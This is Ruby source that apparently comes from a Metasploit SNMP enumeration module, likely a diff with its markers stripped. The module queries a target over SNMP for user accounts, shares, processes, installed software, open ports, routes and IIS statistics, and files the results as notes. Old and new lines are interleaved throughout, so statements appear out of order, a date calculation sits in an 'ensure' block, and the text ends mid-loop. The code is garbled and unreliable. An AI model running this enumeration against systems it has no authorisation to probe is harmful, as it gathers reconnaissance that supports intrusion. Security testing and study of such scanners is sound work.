hrFSMountPoint = snmp.get_value('1.3.6.1.2.1.25.3.8.1.2.1')
|
||||
if hrFSMountPoint.to_s !~ /Null/
|
||||
file_system["Mount point"] = hrFSMountPoint
|
||||
end
|
||||
output_data = { 'Host IP' => ip }
|
||||
|
||||
hrFSRemoteMountPoint = snmp.get_value('1.3.6.1.2.1.25.3.8.1.3.1')
|
||||
if hrFSRemoteMountPoint.to_s !~ /Null/ and hrFSRemoteMountPoint.to_s !~ /^noSuch/
|
||||
if hrFSRemoteMountPoint.empty?
|
||||
hrFSRemoteMountPoint = '-'
|
||||
end
|
||||
file_system["Remote mount point"] = hrFSRemoteMountPoint
|
||||
end
|
||||
sys_name = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s
|
||||
output_data['Hostname'] = sys_name.strip
|
||||
|
||||
hrFSType = snmp.get_value('1.3.6.1.2.1.25.3.8.1.4.1')
|
||||
# print connected status after the first query so if there are
|
||||
# any timeout or connectivity errors; the code would already
|
||||
# have jumped to error handling where the error status is
|
||||
# already being displayed.
|
||||
print_good("#{ip}, Connected.")
|
||||
|
||||
case hrFSType.to_s
|
||||
when /^1.3.6.1.2.1.25.3.9.1$/
|
||||
hrFSType = "Other"
|
||||
when /^1.3.6.1.2.1.25.3.9.2$/
|
||||
hrFSType = "Unknown"
|
||||
when /^1.3.6.1.2.1.25.3.9.3$/
|
||||
hrFSType = "BerkeleyFFS"
|
||||
when /^1.3.6.1.2.1.25.3.9.4$/
|
||||
hrFSType = "Sys5FS"
|
||||
when /^1.3.6.1.2.1.25.3.9.5$/
|
||||
hrFSType = "Fat"
|
||||
when /^1.3.6.1.2.1.25.3.9.6$/
|
||||
hrFSType = "HPFS"
|
||||
when /^1.3.6.1.2.1.25.3.9.7$/
|
||||
hrFSType = "HFS"
|
||||
when /^1.3.6.1.2.1.25.3.9.8$/
|
||||
hrFSType = "MFS"
|
||||
when /^1.3.6.1.2.1.25.3.9.9$/
|
||||
hrFSType = "NTFS"
|
||||
when /^1.3.6.1.2.1.25.3.9.10$/
|
||||
hrFSType = "VNode"
|
||||
when /^1.3.6.1.2.1.25.3.9.11$/
|
||||
hrFSType = "Journaled"
|
||||
when /^1.3.6.1.2.1.25.3.9.12$/
|
||||
hrFSType = "iso9660"
|
||||
when /^1.3.6.1.2.1.25.3.9.13$/
|
||||
hrFSType = "RockRidge"
|
||||
when /^1.3.6.1.2.1.25.3.9.14$/
|
||||
hrFSType = "NFS"
|
||||
when /^1.3.6.1.2.1.25.3.9.15$/
|
||||
hrFSType = "Netware"
|
||||
when /^1.3.6.1.2.1.25.3.9.16$/
|
||||
hrFSType = "AFS"
|
||||
when /^1.3.6.1.2.1.25.3.9.17$/
|
||||
hrFSType = "DFS"
|
||||
when /^1.3.6.1.2.1.25.3.9.18$/
|
||||
hrFSType = "Appleshare"
|
||||
when /^1.3.6.1.2.1.25.3.9.19$/
|
||||
hrFSType = "RFS"
|
||||
when /^1.3.6.1.2.1.25.3.9.20$/
|
||||
hrFSType = "DGCFS"
|
||||
when /^1.3.6.1.2.1.25.3.9.21$/
|
||||
hrFSType = "BFS"
|
||||
when /^1.3.6.1.2.1.25.3.9.22$/
|
||||
hrFSType = "FAT32"
|
||||
when /^1.3.6.1.2.1.25.3.9.23$/
|
||||
hrFSType = "LinuxExt2"
|
||||
else
|
||||
hrFSType = "Null"
|
||||
end
|
||||
sys_desc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s
|
||||
sys_desc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ')
|
||||
output_data['Description'] = sys_desc.strip
|
||||
|
||||
if hrFSType.to_s !~ /Null/
|
||||
file_system["Type"] = hrFSType
|
||||
end
|
||||
sys_contact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s
|
||||
output_data['Contact'] = sys_contact.strip
|
||||
|
||||
hrFSAccess = snmp.get_value('1.3.6.1.2.1.25.3.8.1.5.1')
|
||||
if hrFSAccess.to_s !~ /Null/
|
||||
file_system["Access"] = hrFSAccess
|
||||
end
|
||||
sys_location = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s
|
||||
output_data['Location'] = sys_location.strip
|
||||
|
||||
hrFSBootable = snmp.get_value('1.3.6.1.2.1.25.3.8.1.6.1')
|
||||
if hrFSBootable.to_s !~ /Null/
|
||||
file_system["Bootable"] = hrFSBootable
|
||||
end
|
||||
sys_up_time_instance = snmp.get_value('1.3.6.1.2.1.1.3.0').to_s
|
||||
output_data['Uptime system'] = sys_up_time_instance.strip
|
||||
|
||||
if not file_system.empty?
|
||||
output_data["File system information"] = file_system
|
||||
end
|
||||
hr_system_uptime = snmp.get_value('1.3.6.1.2.1.25.1.1.0').to_s
|
||||
output_data['Uptime snmp'] = hr_system_uptime =~ /Null/ ? '-' : hr_system_uptime.strip
|
||||
|
||||
device_information = []
|
||||
system_date = snmp.get_value('1.3.6.1.2.1.25.1.2.0')
|
||||
if system_date.blank? || system_date =~ /Null/ || system_date =~ /^noSuch/
|
||||
output_data['System date'] = '-'
|
||||
else
|
||||
|
||||
snmp.walk([
|
||||
"1.3.6.1.2.1.25.3.2.1.1", "1.3.6.1.2.1.25.3.2.1.2",
|
||||
"1.3.6.1.2.1.25.3.2.1.5", "1.3.6.1.2.1.25.3.2.1.3"
|
||||
]) do |index,type,status,descr|
|
||||
# RFC 2579 - Textual Conventions for SMIv2
|
||||
# http://www.faqs.org/rfcs/rfc2579.html
|
||||
|
||||
case type.value.to_s
|
||||
when /^1.3.6.1.2.1.25.3.1.1$/
|
||||
type.value = "Other"
|
||||
when /^1.3.6.1.2.1.25.3.1.2$/
|
||||
type.value = "Unknown"
|
||||
when /^1.3.6.1.2.1.25.3.1.3$/
|
||||
type.value = "Processor"
|
||||
when /^1.3.6.1.2.1.25.3.1.4$/
|
||||
type.value = "Network"
|
||||
when /^1.3.6.1.2.1.25.3.1.5$/
|
||||
type.value = "Printer"
|
||||
when /^1.3.6.1.2.1.25.3.1.6$/
|
||||
type.value = "Disk Storage"
|
||||
when /^1.3.6.1.2.1.25.3.1.10$/
|
||||
type.value = "Video"
|
||||
when /^1.3.6.1.2.1.25.3.1.11$/
|
||||
type.value = "Audio"
|
||||
when /^1.3.6.1.2.1.25.3.1.12$/
|
||||
type.value = "Coprocessor"
|
||||
when /^1.3.6.1.2.1.25.3.1.13$/
|
||||
type.value = "Keyboard"
|
||||
when /^1.3.6.1.2.1.25.3.1.14$/
|
||||
type.value = "Modem"
|
||||
when /^1.3.6.1.2.1.25.3.1.15$/
|
||||
type.value = "Parallel Port"
|
||||
when /^1.3.6.1.2.1.25.3.1.16$/
|
||||
type.value = "Pointing"
|
||||
when /^1.3.6.1.2.1.25.3.1.17$/
|
||||
type.value = "Serial Port"
|
||||
when /^1.3.6.1.2.1.25.3.1.18$/
|
||||
type.value = "Tape"
|
||||
when /^1.3.6.1.2.1.25.3.1.19$/
|
||||
type.value = "Clock"
|
||||
when /^1.3.6.1.2.1.25.3.1.20$/
|
||||
type.value = "Volatile Memory"
|
||||
when /^1.3.6.1.2.1.25.3.1.21$/
|
||||
type.value = "Non Volatile Memory"
|
||||
else
|
||||
type.value = "unknown"
|
||||
end
|
||||
system_date = system_date.unpack('C*')
|
||||
|
||||
case status.value
|
||||
when 1
|
||||
status.value = "unknown"
|
||||
when 2
|
||||
status.value = "running"
|
||||
when 3
|
||||
status.value = "warning"
|
||||
when 4
|
||||
status.value = "testing"
|
||||
when 5
|
||||
status.value = "down"
|
||||
else
|
||||
status.value = "unknown"
|
||||
end
|
||||
|
||||
descr.value = "unknown" if descr.value.to_s =~ /noSuchInstance/
|
||||
|
||||
device_information.push([index.value, type.value, status.value, descr.value])
|
||||
end
|
||||
|
||||
if not device_information.empty?
|
||||
output_data["Device information"] = [["Id","Type","Status","Descr"]] + device_information
|
||||
end
|
||||
|
||||
software_list = []
|
||||
|
||||
snmp.walk(["1.3.6.1.2.1.25.6.3.1.1","1.3.6.1.2.1.25.6.3.1.2"]) do |index,name|
|
||||
software_list.push([index.value,name.value])
|
||||
end
|
||||
|
||||
if not software_list.empty?
|
||||
output_data["Software components"] = [["Index","Name"]] + software_list
|
||||
end
|
||||
|
||||
process_interfaces = []
|
||||
|
||||
snmp.walk([
|
||||
"1.3.6.1.2.1.25.4.2.1.1", "1.3.6.1.2.1.25.4.2.1.2", "1.3.6.1.2.1.25.4.2.1.4",
|
||||
"1.3.6.1.2.1.25.4.2.1.5", "1.3.6.1.2.1.25.4.2.1.7"
|
||||
]) do |id,name,path,param,status|
|
||||
|
||||
if status.value == 1
|
||||
status.value = "running"
|
||||
elsif status.value == 2
|
||||
status.value = "runnable"
|
||||
else
|
||||
status.value = "unknown"
|
||||
end
|
||||
|
||||
process_interfaces.push([id.value, status.value, name.value, path.value, param.value])
|
||||
end
|
||||
|
||||
if not process_interfaces.empty?
|
||||
output_data["Processes"] = [["Id","Status","Name","Path","Parameters"]] + process_interfaces
|
||||
end
|
||||
|
||||
print_line("\n[*] System information:\n")
|
||||
|
||||
line = ""
|
||||
width = 30 # name field width
|
||||
twidth = 32 # table like display cell width
|
||||
|
||||
fields_order.each {|k|
|
||||
if not output_data.has_key?(k)
|
||||
next
|
||||
end
|
||||
|
||||
v = output_data[k]
|
||||
|
||||
case v
|
||||
when Array
|
||||
content = ""
|
||||
|
||||
v.each{ |a|
|
||||
case a
|
||||
when Hash
|
||||
a.each{ |sk, sv|
|
||||
sk = truncate_to_twidth(sk, twidth)
|
||||
content << sprintf("%s%s: %s\n", sk, " "*([0,width-sk.length].max), sv)
|
||||
}
|
||||
content << "\n"
|
||||
when Array
|
||||
a.each { |sv|
|
||||
sv = sv.to_s.strip
|
||||
# I don't like cutting info
|
||||
#sv = truncate_to_twidth(sv, twidth)
|
||||
content << sprintf("%-20s", sv)
|
||||
}
|
||||
content << "\n"
|
||||
else
|
||||
content << sprintf(" %s\n", a)
|
||||
content << "\n"
|
||||
end
|
||||
}
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'udp',
|
||||
:sname => 'snmp',
|
||||
:port => datastore['RPORT'].to_i,
|
||||
:type => "snmp.#{k}",
|
||||
:data => { :content => content }
|
||||
)
|
||||
|
||||
line << "\n[*] #{k}:\n\n#{content}"
|
||||
|
||||
when Hash
|
||||
content = ""
|
||||
v.each{ |sk, sv|
|
||||
sk = truncate_to_twidth(sk,twidth)
|
||||
content << sprintf("%s%s: %s\n", sk, " "*([0,width-sk.length].max), sv)
|
||||
}
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'udp',
|
||||
:sname => 'snmp',
|
||||
:port => datastore['RPORT'].to_i,
|
||||
:type => "snmp.#{k}",
|
||||
:data => { :content => content }
|
||||
)
|
||||
|
||||
line << "\n[*] #{k}:\n\n#{content}"
|
||||
content << "\n"
|
||||
else
|
||||
if (v.nil? or v.empty? or v =~ /Null/)
|
||||
v = '-'
|
||||
end
|
||||
|
||||
report_note(
|
||||
:host => ip,
|
||||
:proto => 'udp',
|
||||
:sname => 'snmp',
|
||||
:port => datastore['RPORT'].to_i,
|
||||
:type => "snmp.#{k}",
|
||||
:data => { :content => v }
|
||||
)
|
||||
|
||||
k = truncate_to_twidth(k,twidth)
|
||||
line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v)
|
||||
end
|
||||
}
|
||||
|
||||
print_line(line)
|
||||
print_line('')
|
||||
|
||||
rescue SNMP::RequestTimeout
|
||||
print_error("#{ip} SNMP request timeout.")
|
||||
rescue Rex::ConnectionError
|
||||
print_error("#{ip} Connection refused.")
|
||||
rescue SNMP::InvalidIpAddress
|
||||
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
|
||||
rescue SNMP::UnsupportedVersion
|
||||
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
|
||||
rescue SNMP::ParseError
|
||||
print_error("#{ip} Encountered an SNMP parsing error while trying to enumerate the host.")
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
elog(e)
|
||||
ensure
|
||||
disconnect_snmp
|
||||
output_data['System date'] = format(
|
||||
'%<year>d-%<month>d-%<day>d %<hour>02d:%<minutes>02d:%<seconds>02d.%<tenths>d',
|
||||
year: system_date[0] * 256 + system_date[1],
|
||||
month: system_date[2] || 0,
|
||||
day: system_date[3] || 0,
|
||||
hour: system_date[4] || 0,
|
||||
minutes: system_date[5] || 0,
|
||||
seconds: system_date[6] || 0,
|
||||
tenths: system_date[7] || 0
|
||||
)
|
||||
end
|
||||
|
||||
if (sys_desc =~ /Windows/)
|
||||
dom_primary_domain = snmp.get_value('1.3.6.1.4.1.77.1.4.1.0').to_s
|
||||
|
||||
output_data['Domain'] = dom_primary_domain.strip
|
||||
|
||||
users = []
|
||||
|
||||
snmp.walk(['1.3.6.1.4.1.77.1.2.25.1.1', '1.3.6.1.4.1.77.1.2.25.1']) do |user, _entry|
|
||||
users.push([[user.value]])
|
||||
end
|
||||
|
||||
if !users.empty?
|
||||
output_data['User accounts'] = users
|
||||
end
|
||||
end
|
||||
|
||||
network_information = {}
|
||||
|
||||
ip_forwarding = snmp.get_value('1.3.6.1.2.1.4.1.0')
|
||||
|
||||
if ip_forwarding == 0 || ip_forwarding == 2
|
||||
ip_forwarding = 'no'
|
||||
network_information['IP forwarding enabled'] = ip_forwarding
|
||||
elsif ip_forwarding == 1
|
||||
ip_forwarding = 'yes'
|
||||
network_information['IP forwarding enabled'] = ip_forwarding
|
||||
end
|
||||
|
||||
ip_default_ttl = snmp.get_value('1.3.6.1.2.1.4.2.0')
|
||||
if ip_default_ttl.to_s !~ /Null/
|
||||
network_information['Default TTL'] = ip_default_ttl
|
||||
end
|
||||
|
||||
tcp_in_segs = snmp.get_value('1.3.6.1.2.1.6.10.0')
|
||||
if tcp_in_segs.to_s !~ /Null/
|
||||
network_information['TCP segments received'] = tcp_in_segs
|
||||
end
|
||||
|
||||
tcp_out_segs = snmp.get_value('1.3.6.1.2.1.6.11.0')
|
||||
if tcp_out_segs.to_s !~ /Null/
|
||||
network_information['TCP segments sent'] = tcp_out_segs
|
||||
end
|
||||
|
||||
tcp_retrans_segs = snmp.get_value('1.3.6.1.2.1.6.12.0')
|
||||
if tcp_retrans_segs.to_s !~ /Null/
|
||||
network_information['TCP segments retrans'] = tcp_retrans_segs
|
||||
end
|
||||
|
||||
ip_in_receives = snmp.get_value('1.3.6.1.2.1.4.3.0')
|
||||
if ip_in_receives.to_s !~ /Null/
|
||||
network_information['Input datagrams'] = ip_in_receives
|
||||
end
|
||||
|
||||
ip_in_delivers = snmp.get_value('1.3.6.1.2.1.4.9.0')
|
||||
if ip_in_delivers.to_s !~ /Null/
|
||||
network_information['Delivered datagrams'] = ip_in_delivers
|
||||
end
|
||||
|
||||
ip_out_requests = snmp.get_value('1.3.6.1.2.1.4.10.0')
|
||||
if ip_out_requests.to_s !~ /Null/
|
||||
network_information['Output datagrams'] = ip_out_requests
|
||||
end
|
||||
|
||||
unless network_information.blank?
|
||||
output_data['Network information'] = network_information
|
||||
end
|
||||
|
||||
network_interfaces = []
|
||||
|
||||
# rubocop:disable Metrics/ParameterLists
|
||||
snmp.walk([
|
||||
'1.3.6.1.2.1.2.2.1.1', '1.3.6.1.2.1.2.2.1.2', '1.3.6.1.2.1.2.2.1.6',
|
||||
'1.3.6.1.2.1.2.2.1.3', '1.3.6.1.2.1.2.2.1.4', '1.3.6.1.2.1.2.2.1.5',
|
||||
'1.3.6.1.2.1.2.2.1.10', '1.3.6.1.2.1.2.2.1.16', '1.3.6.1.2.1.2.2.1.7'
|
||||
]) do |index, descr, mac, type, mtu, speed, inoc, outoc, status|
|
||||
# rubocop:enable Metrics/ParameterLists
|
||||
ifindex = index.value
|
||||
ifdescr = descr.value
|
||||
ifmac = mac.value.to_s =~ /noSuchInstance/ ? 'unknown' : mac.value.unpack('H2H2H2H2H2H2').join(':')
|
||||
iftype = type.value
|
||||
ifmtu = mtu.value
|
||||
ifspeed = speed.value.to_s =~ /noSuchInstance/ ? 'unknown' : speed.value.to_i / 1000000
|
||||
ifinoc = inoc.value
|
||||
ifoutoc = outoc.value
|
||||
ifstatus = status.value
|
||||
|
||||
case iftype
|
||||
when 1
|
||||
iftype = 'other'
|
||||
when 2
|
||||
iftype = 'regular1822'
|
||||
when 3
|
||||
iftype = 'hdh1822'
|
||||
when 4
|
||||
iftype = 'ddn-x25'
|
||||
when 5
|
||||
iftype = 'rfc877-x25'
|
||||
when 6
|
||||
iftype = 'ethernet-csmacd'
|
||||
when 7
|
||||
iftype = 'iso88023-csmacd'
|
||||
when 8
|
||||
iftype = 'iso88024-tokenBus'
|
||||
when 9
|
||||
iftype = 'iso88025-tokenRing'
|
||||
when 10
|
||||
iftype = 'iso88026-man'
|
||||
when 11
|
||||
iftype = 'starLan'
|
||||
when 12
|
||||
iftype = 'proteon-10Mbit'
|
||||
when 13
|
||||
iftype = 'proteon-80Mbit'
|
||||
when 14
|
||||
iftype = 'hyperchannel'
|
||||
when 15
|
||||
iftype = 'fddi'
|
||||
when 16
|
||||
iftype = 'lapb'
|
||||
when 17
|
||||
iftype = 'sdlc'
|
||||
when 18
|
||||
iftype = 'ds1'
|
||||
when 19
|
||||
iftype = 'e1'
|
||||
when 20
|
||||
iftype = 'basicISDN'
|
||||
when 21
|
||||
iftype = 'primaryISDN'
|
||||
when 22
|
||||
iftype = 'propPointToPointSerial'
|
||||
when 23
|
||||
iftype = 'ppp'
|
||||
when 24
|
||||
iftype = 'softwareLoopback'
|
||||
when 25
|
||||
iftype = 'eon'
|
||||
when 26
|
||||
iftype = 'ethernet-3Mbit'
|
||||
when 27
|
||||
iftype = 'nsip'
|
||||
when 28
|
||||
iftype = 'slip'
|
||||
when 29
|
||||
iftype = 'ultra'
|
||||
when 30
|
||||
iftype = 'ds3'
|
||||
when 31
|
||||
iftype = 'sip'
|
||||
when 32
|
||||
iftype = 'frame-relay'
|
||||
else
|
||||
iftype = 'unknown'
|
||||
end
|
||||
|
||||
case ifstatus
|
||||
when 1
|
||||
ifstatus = 'up'
|
||||
when 2
|
||||
ifstatus = 'down'
|
||||
when 3
|
||||
ifstatus = 'testing'
|
||||
else
|
||||
ifstatus = 'unknown'
|
||||
end
|
||||
|
||||
network_interfaces.push({
|
||||
'Interface' => "[ #{ifstatus} ] #{ifdescr}",
|
||||
'Id' => ifindex,
|
||||
'Mac Address' => ifmac,
|
||||
'Type' => iftype,
|
||||
'Speed' => "#{ifspeed} Mbps",
|
||||
'MTU' => ifmtu,
|
||||
'In octets' => ifinoc,
|
||||
'Out octets' => ifoutoc
|
||||
})
|
||||
end
|
||||
|
||||
if !network_interfaces.empty?
|
||||
output_data['Network interfaces'] = network_interfaces
|
||||
end
|
||||
|
||||
network_ip = []
|
||||
|
||||
snmp.walk([
|
||||
'1.3.6.1.2.1.4.20.1.2', '1.3.6.1.2.1.4.20.1.1',
|
||||
'1.3.6.1.2.1.4.20.1.3', '1.3.6.1.2.1.4.20.1.4'
|
||||
]) do |ifid, ipaddr, netmask, bcast|
|
||||
network_ip.push([ifid.value, ipaddr.value, netmask.value, bcast.value])
|
||||
end
|
||||
|
||||
if !network_ip.empty?
|
||||
output_data['Network IP'] = [['Id', 'IP Address', 'Netmask', 'Broadcast']] + network_ip
|
||||
end
|
||||
|
||||
routing = []
|
||||
|
||||
snmp.walk([
|
||||
'1.3.6.1.2.1.4.21.1.1', '1.3.6.1.2.1.4.21.1.7',
|
||||
'1.3.6.1.2.1.4.21.1.11', '1.3.6.1.2.1.4.21.1.3'
|
||||
]) do |dest, hop, mask, metric|
|
||||
if metric.value.to_s.empty?
|
||||
metric.value = '-'
|
||||
end
|
||||
routing.push([dest.value, hop.value, mask.value, metric.value])
|
||||
end
|
||||
|
||||
if !routing.empty?
|
||||
output_data['Routing Information'] = [['Destination', 'Next Hop', 'Mask', 'Metric']] + routing
|
||||
end
|
||||
|
||||
tcp = []
|
||||
|
||||
snmp.walk([
|
||||
'1.3.6.1.2.1.6.13.1.2', '1.3.6.1.2.1.6.13.1.3', '1.3.6.1.2.1.6.13.1.4',
|
||||
'1.3.6.1.2.1.6.13.1.5', '1.3.6.1.2.1.6.13.1.1'
|
||||
]) do |ladd, lport, radd, rport, state|
|
||||
if ladd.value.to_s.empty? || ladd.value.to_s =~ /noSuchInstance/
|
||||
ladd = '-'
|
||||
else
|
||||
ladd = ladd.value
|
||||
end
|
||||
|
||||
if lport.value.to_s.empty? || lport.value.to_s =~ /noSuchInstance/
|
||||
lport = '-'
|
||||
else
|
||||
lport = lport.value
|
||||
end
|
||||
|
||||
if radd.value.to_s.empty? || radd.value.to_s =~ /noSuchInstance/
|
||||
radd = '-'
|
||||
else
|
||||
radd = radd.value
|
||||
end
|
||||
|
||||
if rport.value.to_s.empty? || rport.value.to_s =~ /noSuchInstance/
|
||||
rport = '-'
|
||||
else
|
||||
rport = rport.value
|
||||
end
|
||||
|
||||
case state.value
|
||||
when 1
|
||||
state = 'closed'
|
||||
when 2
|
||||
state = 'listen'
|
||||
when 3
|
||||
state = 'synSent'
|
||||
when 4
|
||||
state = 'synReceived'
|
||||
when 5
|
||||
state = 'established'
|
||||
when 6
|
||||
state = 'finWait1'
|
||||
when 7
|
||||
state = 'finWait2'
|
||||
when 8
|
||||
state = 'closeWait'
|
||||
when 9
|
||||
state = 'lastAck'
|
||||
when 10
|
||||
state = 'closing'
|
||||
when 11
|
||||
state = 'timeWait'
|
||||
when 12
|
||||
state = 'deleteTCB'
|
||||
else
|
||||
state = 'unknown'
|
||||
end
|
||||
|
||||
tcp.push([ladd, lport, radd, rport, state])
|
||||
end
|
||||
|
||||
if !tcp.empty?
|
||||
output_data['TCP connections and listening ports'] = [['Local address', 'Local port', 'Remote address', 'Remote port', 'State']] + tcp
|
||||
end
|
||||
|
||||
udp = []
|
||||
|
||||
snmp.walk(['1.3.6.1.2.1.7.5.1.1', '1.3.6.1.2.1.7.5.1.2']) do |ladd, lport|
|
||||
udp.push([ladd.value, lport.value])
|
||||
end
|
||||
|
||||
if !udp.empty?
|
||||
output_data['Listening UDP ports'] = [['Local address', 'Local port']] + udp
|
||||
end
|
||||
|
||||
if (sys_desc =~ /Windows/)
|
||||
network_services = []
|
||||
n = 0
|
||||
snmp.walk(['1.3.6.1.4.1.77.1.2.3.1.1', '1.3.6.1.4.1.77.1.2.3.1.2']) do |name, _installed|
|
||||
network_services.push([n, name.value])
|
||||
n += 1
|
||||
end
|
||||
|
||||
if !network_services.empty?
|
||||
output_data['Network services'] = [['Index', 'Name']] + network_services
|
||||
end
|
||||
|
||||
share = []
|
||||
|
||||
snmp.walk([
|
||||
'1.3.6.1.4.1.77.1.2.27.1.1', '1.3.6.1.4.1.77.1.2.27.1.2', '1.3.6.1.4.1.77.1.2.27.1.3'
|
||||
]) do |name, path, comment|
|
||||
share.push({ ' Name' => name.value, ' Path' => path.value, ' Comment' => comment.value })
|
||||
end
|
||||
|
||||
if !share.empty?
|
||||
output_data['Share'] = share
|
||||
end
|
||||
|
||||
iis = {}
|
||||
|
||||
http_total_bytes_sent_low_word = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.2.0')
|
||||
if http_total_bytes_sent_low_word.to_s !~ /Null/
|
||||
iis['TotalBytesSentLowWord'] = http_total_bytes_sent_low_word
|
||||
end
|
||||
|
||||
http_total_bytes_received_low_word = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.4.0')
|
||||
if http_total_bytes_received_low_word.to_s !~ /Null/
|
||||
iis['TotalBytesReceivedLowWord'] = http_total_bytes_received_low_word
|
||||
end
|
||||
|
||||
http_total_files_sent = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.5.0')
|
||||
if http_total_files_sent.to_s !~ /Null/
|
||||
iis['TotalFilesSent'] = http_total_files_sent
|
||||
end
|
||||
|
||||
http_current_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.6.0')
|
||||
if http_current_anonymous_users.to_s !~ /Null/
|
||||
iis['CurrentAnonymousUsers'] = http_current_anonymous_users
|
||||
end
|
||||
|
||||
http_current_non_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.7.0')
|
||||
if http_current_non_anonymous_users.to_s !~ /Null/
|
||||
iis['CurrentNonAnonymousUsers'] = http_current_non_anonymous_users
|
||||
end
|
||||
|
||||
http_total_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.8.0')
|
||||
if http_total_anonymous_users.to_s !~ /Null/
|
||||
iis['TotalAnonymousUsers'] = http_total_anonymous_users
|
||||
end
|
||||
|
||||
http_total_non_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.9.0')
|
||||
if http_total_non_anonymous_users.to_s !~ /Null/
|
||||
iis['TotalNonAnonymousUsers'] = http_total_non_anonymous_users
|
||||
end
|
||||
|
||||
http_max_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.10.0')
|
||||
if http_max_anonymous_users.to_s !~ /Null/
|
||||
iis['MaxAnonymousUsers'] = http_max_anonymous_users
|
||||
end
|
||||
|
||||
http_max_non_anonymous_users = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.11.0')
|
||||
if http_max_non_anonymous_users.to_s !~ /Null/
|
||||
iis['MaxNonAnonymousUsers'] = http_max_non_anonymous_users
|
||||
end
|
||||
|
||||
http_current_connections = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.12.0')
|
||||
if http_current_connections.to_s !~ /Null/
|
||||
iis['CurrentConnections'] = http_current_connections
|
||||
end
|
||||
|
||||
http_max_connections = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.13.0')
|
||||
if http_max_connections.to_s !~ /Null/
|
||||
iis['MaxConnections'] = http_max_connections
|
||||
end
|
||||
|
||||
http_connection_attempts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.14.0')
|
||||
if http_connection_attempts.to_s !~ /Null/
|
||||
iis['ConnectionAttempts'] = http_connection_attempts
|
||||
end
|
||||
|
||||
http_logon_attempts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.15.0')
|
||||
if http_logon_attempts.to_s !~ /Null/
|
||||
iis['LogonAttempts'] = http_logon_attempts
|
||||
end
|
||||
|
||||
http_total_gets = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.16.0')
|
||||
if http_total_gets.to_s !~ /Null/
|
||||
iis['Gets'] = http_total_gets
|
||||
end
|
||||
|
||||
http_total_posts = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.17.0')
|
||||
if http_total_posts.to_s !~ /Null/
|
||||
iis['Posts'] = http_total_posts
|
||||
end
|
||||
|
||||
http_total_heads = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.18.0')
|
||||
if http_total_heads.to_s !~ /Null/
|
||||
iis['Heads'] = http_total_heads
|
||||
end
|
||||
|
||||
http_total_others = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.19.0')
|
||||
if http_total_others.to_s !~ /Null/
|
||||
iis['Others'] = http_total_others
|
||||
end
|
||||
|
||||
http_total_cgi_requests = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.20.0')
|
||||
if http_total_cgi_requests.to_s !~ /Null/
|
||||
iis['CGIRequests'] = http_total_cgi_requests
|
||||
end
|
||||
|
||||
# Was this supposed to be "CGI" requests?
|
||||
http_total_bgi_requests = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.21.0')
|
||||
if http_total_bgi_requests.to_s !~ /Null/
|
||||
iis['BGIRequests'] = http_total_bgi_requests
|
||||
end
|
||||
|
||||
http_total_not_found_errors = snmp.get_value('1.3.6.1.4.1.311.1.7.3.1.22.0')
|
||||
if http_total_not_found_errors.to_s !~ /Null/
|
||||
iis['NotFoundErrors'] = http_total_not_found_errors
|
||||
end
|
||||
|
||||
if !iis.empty?
|
||||
output_data['IIS server information'] = iis
|
||||
end
|
||||
end
|
||||
|
||||
storage_information = []
|
||||
|
||||
snmp.walk([
|
||||
'1.3.6.1.2.1.25.2.3.1.1', '1.3.6.1.2.1.25.2.3.1.2', '1.3.6.1.2.1.25.2.3.1.3',
|
||||
'1.3.6.1.2.1.25.2.3.1.4', '1.3.6.1.2.1.25.2.3.1.5', '1.3.6.1.2.1.25.2.3.1.6'
|
||||
]) do |index, type, descr, allocation, size, used|
|
||||
case type.value.to_s
|
||||
when /^1.3.6.1.2.1.25.2.1.1$/
|
||||
type.value = 'Other'
|
||||
when /^1.3.6.1.2.1.25.2.1.2$/
|
||||
type.value = 'Ram'
|
||||
when /^1.3.6.1.2.1.25.2.1.3$/
|
||||
type.value = 'Virtual Memory'
|
||||
when /^1.3.6.1.2.1.25.2.1.4$/
|
||||
type.value = 'Fixed Disk'
|
||||
when /^1.3.6.1.2.1.25.2.1.5$/
|
||||
type.value = 'Removable Disk'
|
||||
when /^1.3.6.1.2.1.25.2.1.6$/
|
||||
type.value = 'Floppy Disk'
|
||||
when /^1.3.6.1.2.1.25.2.1.7$/
|
||||
type.value = 'Compact Disc'
|
||||
when /^1.3.6.1.2.1.25.2.1.8$/
|
||||
type.value = 'RamDisk'
|
||||
when /^1.3.6.1.2.1.25.2.1.9$/
|
||||
type.value = 'Flash Memory'
|
||||
when /^1.3.6.1.2.1.25.2.1.10$/
|
||||
type.value = 'Network Disk'
|
||||
else
|
||||
type.value = 'unknown'
|
||||
end
|
||||
|
||||
allocation.value = 'unknown' if allocation.value.to_s =~ /noSuchInstance/
|
||||
size.value = 'unknown' if size.value.to_s =~ /noSuchInstance/
|
||||
used.value = 'unknown' if used.value.to_s =~ /noSuchInstance/
|
||||
|
||||
